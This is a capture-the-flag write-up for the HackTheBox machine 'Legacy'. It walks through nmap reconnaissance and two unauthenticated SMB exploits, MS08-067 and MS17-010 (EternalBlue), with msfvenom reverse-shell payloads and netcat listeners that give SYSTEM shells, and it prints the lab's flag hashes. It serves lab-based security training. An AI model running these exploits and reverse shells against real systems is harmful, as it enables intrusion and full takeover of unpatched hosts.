Legacy

HackTheBoxEasyWindows10.10.10.4

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#windows#windows-xp#smb#ms08-067#ms17-010#eternalblue#msfvenom#oscp

TL;DR. An unpatched Windows XP with only 135/139/445 open. nmap --script smb-vuln-* confirms it's vulnerable to MS08-067 (NetAPI) and MS17-010 (EternalBlue). Either one yields a direct shell as NT AUTHORITY\SYSTEM with no privilege escalation needed. Both exploits are documented: MS08-067 using the andyacer/ms08_067 repo + msfvenom shellcode, and MS17-010 using h3x0v3rl0rd/MS17-010_CVE-2017-0143 (in Docker Python 2.7 for compatibility) + a .exe from msfvenom.

Recon

Ping

Before the full nmap, a quick ping hints at the OS via the TTL.

ping -c 1 10.10.10.4

ping to 10.10.10.4: ttl=127 points to Windows

64 bytes from 10.10.10.4: icmp_seq=1 ttl=127 time=114 ms

TTL 127 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 127 = 128−1; a hint, not proof (it can be spoofed), confirmed by the service scan.

Port scan

We sweep all 65535 TCP ports with -p- (-n -Pn to skip DNS and ping) to discover everything open; over those ports, a targeted -sCV will detail service and version:

sudo nmap -p- --open --reason -n -Pn 10.10.10.4

nmap -p- on Legacy: 135, 139, 445

PORT    STATE SERVICE      REASON
135/tcp open  msrpc        syn-ack ttl 127
139/tcp open  netbios-ssn  syn-ack ttl 127
445/tcp open  microsoft-ds syn-ack ttl 127

extractPorts, a .zshrc function, boils the -oG file down and leaves the three ports on the clipboard:

extractPorts scan

extractPorts boils legacy's scan down: IP 10.10.10.4 and open ports 135,139,445, copied to the clipboard

Extracting information ...
IP Address: 10.10.10.4
Open ports: 135,139,445

Ports copied to clipboard

Just the three classic ports of an old Windows box: RPC and SMB. No web, no SSH, no WinRM. The detailed -sCV confirms a very old system:

nmap -sCV: Windows XP (Windows 2000 LAN Manager), Computer: Legacy

Service Info: OS: Windows, Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::
Computer name: Legacy
NetBIOS computer name: LEGACY\x00

Unpatched Windows XP. The two most relevant SMB exploits in history point squarely at this system: MS08-067 (NetAPI, 2008) and MS17-010 (EternalBlue, 2017). An nmap script confirms both:

nmap -p445 --script smb-vuln-ms08-067,smb-vuln-ms17-010 10.10.10.4

nmap confirms VULNERABLE to MS08-067 and MS17-010

| smb-vuln-ms08-067:
|   VULNERABLE: Microsoft Windows system vulnerable to remote code execution (MS08-067)
| smb-vuln-ms17-010:
|   VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

Both are direct RCE against the SMB service: no credentials needed, no authentication. The attacker sends a malformed packet and runs code as SYSTEM.

Shell as NT AUTHORITY\SYSTEM

Exploit 1: MS08-067 (NetAPI)

MS08-067 exploits a buffer overflow in the NetAPI32 service through SMB. The public exploit from andyacer/ms08_067 requires shellcode from msfvenom for the right platform and architecture:

git clone https://github.com/andyacer/ms08_067
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 EXITFUNC=thread \
  -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

msfvenom generates shellcode; pasted into the exploit

Found 11 compatible encoders
x86/call4_dword_xor chosen with final size 348
Payload size: 348 bytes
Final size of c file: 1491 bytes
unsigned char buf[] =
"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76"
...

The shellcode goes into ms08_067_2018.py (replacing the placeholder):

nano ms08_067_2018.py with the msfvenom shellcode replaced in the exploit

Then run it against the IP with the option matching Windows XP SP3 (option 6):

sudo rlwrap nc -nlvp 443
python2 ms08_067_2018.py 10.10.10.4 6 445

reverse shell received after MS08-067

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.4] 1039
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

The shell lands as NT AUTHORITY\SYSTEM: the SMB service runs at maximum privilege on XP.

Exploit 2: MS17-010 (EternalBlue)

EternalBlue is newer (2017, leaked from the NSA) but more widely known. The exploit from h3x0v3rl0rd/MS17-010_CVE-2017-0143 needs Python 2.7 + impacket 0.9.23, so the cleanest approach is a Docker container to avoid dependency conflicts:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.6 LPORT=443 -f exe -o ms17-010.exe

msfvenom generates ms17-010.exe and the Dockerfile for Python 2.7 is prepared

FROM python:2.7-alpine
RUN apk add git gcc musl-dev libffi-dev openssl-dev zlib-dev libc-dev
COPY requirements.txt ms17-010.exe /opt/exploit/
WORKDIR /opt/exploit
RUN pip install -r requirements.txt

On the host, nc listens on 443 again for this second path:

sudo rlwrap nc -nlvp 443

docker build -t exploit .
docker run -it exploit /bin/sh
git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143
python send_and_execute.py 10.10.10.4 ../ms17-010.exe

docker build and docker run: container ready with the MS17-010 exploit cloned

[+] Building 100.8s (12/12) FINISHED
 => => naming to docker.io/library/exploit
/opt/exploit # git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
Cloning into 'MS17-010_CVE-2017-0143' ...
/opt/exploit # cd MS17-010_CVE-2017-0143
/opt/exploit/MS17-010_CVE-2017-0143 #

Docker with the EternalBlue exploit, reverse shell as SYSTEM

Same result: shell as SYSTEM. In this case the exploit injects a .exe directly into memory through the SMBv1 vulnerability.

Flags

No escalation needed (we're already SYSTEM):

$type Administrator\Desktop\root.txt and john\Desktop\user.txt$

993442d258b0e0ec917cae9e695d5713   # Administrator\Desktop\root.txt
e69af0e4f443de7e36876fda4ec7644f   # john\Desktop\user.txt

C:\DOCUME~1> type Administrator\Desktop\root.txt
C:\DOCUME~1> type john\Desktop\user.txt

Attack chain

nmap (135, 139, 445)
  └─> Windows XP (2000 LAN Manager) → unpatched
        └─> nmap --script smb-vuln-* → MS08-067 ✓ and MS17-010 ✓
              ├─> MS08-067: andyacer/ms08_067 + msfvenom shellcode (python2)
              │     └─> reverse shell as NT AUTHORITY\SYSTEM
              └─> MS17-010: send_and_execute.py + msfvenom .exe (Docker python2.7)
                    └─> reverse shell as NT AUTHORITY\SYSTEM
                          └─> root.txt + user.txt (no escalation)

Lessons learned

Unpatched Windows XP is such an easy target it needs neither authentication nor escalation: MS08-067 and MS17-010 give SYSTEM outright. The box works as a lab for understanding the fundamentals of SMB exploitation.
nmap --script smb-vuln-* is the fastest way to confirm SMB vulns without launching the exploit; always worth running before building out the attack infrastructure.
Many legacy exploits (Python 2.7, old impacket deps) won't run on a modern Kali. A Docker container with the exact Python and impacket version is the most reliable way to run them without breaking your environment.
msfvenom produces shellcode (-f c) for injection into code-based exploits (MS08-067) and executables (-f exe) for send-and-execute exploits (MS17-010). Knowing which one each exploit expects saves time.
Bad chars (\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40) are specific to the exploit and the target service. Getting them wrong corrupts the stack and the exploit fails silently.

Command cheatsheet 9 commands